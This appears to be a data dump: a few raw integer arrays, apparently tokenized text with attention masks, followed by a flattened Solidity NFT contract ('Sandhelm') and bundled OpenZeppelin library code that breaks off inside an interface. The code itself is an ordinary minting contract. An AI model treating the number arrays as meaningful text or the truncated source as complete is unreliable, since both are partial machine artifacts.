18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
16351,
605,
2849,
19784,
3466,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
377,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
14739,
1887,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
11223,
1887,
31,
203,
377,
203,
565,
2254,
5034,
3238,
389,
87,
1165,
6275,
273,
374,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
377,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
565,
2254,
5034,
3238,
389,
12908,
537,
620,
273,
22821,
7235,
3462,
6675,
4366,
9036,
2313,
3657,
6564,
4366,
10321,
5908,
7140,
713,
5292,
28,
7235,
8642,
7140,
27284,
2733,
5193,
6028,
25,
1105,
6260,
1105,
4630,
29,
7950,
5877,
5193,
713,
7235,
3437,
24886,
4449,
2733,
4763,
31,
203,
203,
565,
1758,
1071,
389,
8443,
31,
203,
565,
1758,
3238,
389,
4626,
5541,
31,
203,
565,
1758,
3238,
389,
318,
77,
10717,
273,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
31,
203,
377,
203,
203,
97,
203,
282,
2
] |
// SPDX-License-Identifier: MIT
/*
$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$$\ $$\ $$\ $$$$$$$$\ $$\ $$\ $$\
$$ __$$\ $$ __$$\ $$$\ $$ |$$ __$$\ $$ | $$ |$$ _____|$$ | $$$\ $$$ |
$$ / \__|$$ / $$ |$$$$\ $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$$$\ $$$$ |
\$$$$$$\ $$$$$$$$ |$$ $$\$$ |$$ | $$ |$$$$$$$$ |$$$$$\ $$ | $$\$$\$$ $$ |
\____$$\ $$ __$$ |$$ \$$$$ |$$ | $$ |$$ __$$ |$$ __| $$ | $$ \$$$ $$ |
$$\ $$ |$$ | $$ |$$ |\$$$ |$$ | $$ |$$ | $$ |$$ | $$ | $$ |\$ /$$ |
\$$$$$$ |$$ | $$ |$$ | \$$ |$$$$$$$ |$$ | $$ |$$$$$$$$\ $$$$$$$$\ $$ | \_/ $$ |
\______/ \__| \__|\__| \__|\_______/ \__| \__|\________|\________|\__| \__|
*/
pragma solidity 0.8.2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract Sandhelm is Ownable, ERC721Enumerable, PaymentSplitter {
uint public constant MAX_HELM = 9999;
uint public constant HELM_PRICE = 0.07 ether;
uint public constant walletLimit = 12;
string public PROVENANCE_HASH;
string private _baseURIExtended;
string private _contractURI;
bool public _isSaleLive = false;
bool private locked;
bool private PROVENANCE_LOCK = false;
uint public _reserved;
uint id = totalSupply();
//Sandhelm Release Time -
uint public publicSale = 1637002800; // November 15th, 2021
struct Account {
uint nftsReserved;
uint walletLimit;
uint mintedNFTs;
bool isAdmin;
}
mapping(address => Account) public accounts;
event Mint(address indexed sender, uint totalSupply);
event PermanentURI(string _value, uint256 indexed _id);
address[] private _distro;
uint[] private _distro_shares;
constructor(address[] memory distro, uint[] memory distro_shares, address[] memory teamclaim, address[] memory admins)
ERC721("SANDHELM", "HELM")
PaymentSplitter(distro, distro_shares)
{
_baseURIExtended = "ipfs://";
accounts[msg.sender] = Account( 0, 0, 0, true);
// teamclaimNFT
accounts[teamclaim[0]] = Account( 80, 0, 0, true); //1
accounts[teamclaim[1]] = Account( 10, 0, 0, true); //2
accounts[teamclaim[2]] = Account( 10, 0, 0, true); //3
accounts[teamclaim[3]] = Account( 25, 0, 0, true); //4
accounts[teamclaim[4]] = Account( 25, 0, 0, true); //5
accounts[teamclaim[5]] = Account( 25, 0, 0, true); //6
accounts[teamclaim[6]] = Account( 25, 0, 0, true); //7
//admins
accounts[admins[0]] = Account( 0, 0, 0, true); //1
accounts[admins[1]] = Account( 0, 0, 0, true); //2
accounts[admins[2]] = Account( 0, 0, 0, true); //3
accounts[admins[3]] = Account( 0, 0, 0, true); //4
accounts[admins[4]] = Account( 0, 0, 0, true); //5
_reserved = 200;
_distro = distro;
_distro_shares = distro_shares;
}
// Modifiers
modifier onlyAdmin() {
require(accounts[msg.sender].isAdmin == true, "Sorry, You need to be an admin");
_;
}
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
// End Modifier
// Setters
function setAdmin(address _addr) external onlyOwner {
accounts[_addr].isAdmin = !accounts[_addr].isAdmin;
}
function setProvenanceHash(string memory _provenanceHash) external onlyOwner {
require(PROVENANCE_LOCK == false);
PROVENANCE_HASH = _provenanceHash;
}
function lockProvenance() external onlyOwner {
PROVENANCE_LOCK = true;
}
function setBaseURI(string memory _newURI) external onlyOwner {
_baseURIExtended = _newURI;
}
function setContractURI(string memory _newURI) external onlyOwner {
_contractURI = _newURI;
}
function deactivateSale() external onlyOwner {
_isSaleLive = false;
}
function activateSale() external onlyOwner {
_isSaleLive = true;
}
function setNewSaleTime(uint[] memory _newTime) external onlyOwner {
require(_newTime.length == 1);
publicSale = _newTime[0];
}
// End Setters
// Getters
// For OpenSea
function contractURI() public view returns (string memory) {
return _contractURI;
}
// For Metadata
function _baseURI() internal view virtual override returns (string memory) {
return _baseURIExtended;
}
// End Getter
// Business Logic
function adminMint() external onlyAdmin {
uint _amount = accounts[msg.sender].nftsReserved;
require(accounts[msg.sender].isAdmin == true,"Sorry, Only an admin can mint");
require(_amount > 0, 'Need to have reserved supply');
require(totalSupply() + _amount <= MAX_HELM, "You would exceed the mint limit");
accounts[msg.sender].nftsReserved -= _amount;
_reserved = _reserved - _amount;
for (uint i = 0; i < _amount; i++) {
id++;
_safeMint(msg.sender, id);
emit Mint(msg.sender, totalSupply());
}
}
function airDropNFT(address[] memory _addr) external onlyOwner {
require(totalSupply() + _addr.length <= (MAX_HELM - _reserved), "You would exceed the airdrop limit");
// DO MINT
for (uint i = 0; i < _addr.length; i++) {
id++;
_safeMint(_addr[i], id);
emit Mint(msg.sender, totalSupply());
}
}
function mint(uint _amount) external payable noReentrant {
// CHECK BASIC SALE CONDITIONS
require(_isSaleLive, "Sale must be active to mint");
require(totalSupply() + _amount <= (MAX_HELM - _reserved), "Purchase would exceed max supply of HELM");
require(msg.value >= (HELM_PRICE * _amount), "Ether value sent is not correct");
require(!isContract(msg.sender), "Contracts can't mint");
if(block.timestamp >= publicSale) {
require((_amount + accounts[msg.sender].mintedNFTs) <= walletLimit, "Sorry you can only mint 12 per wallet");
}
// DO MINT
for (uint i = 0; i < _amount; i++) {
id++;
accounts[msg.sender].mintedNFTs++;
_safeMint(msg.sender, id);
emit Mint(msg.sender, totalSupply());
}
}
function distributeETH() external onlyAdmin {
for (uint i = 0; i < _distro.length; i++) {
release(payable(_distro[i]));
}
}
// helper
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Address.sol";
import "../utils/Context.sol";
import "../utils/math/SafeMath.sol";
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + _totalReleased;
uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account];
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] = _released[account] + payment;
_totalReleased = _totalReleased + payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
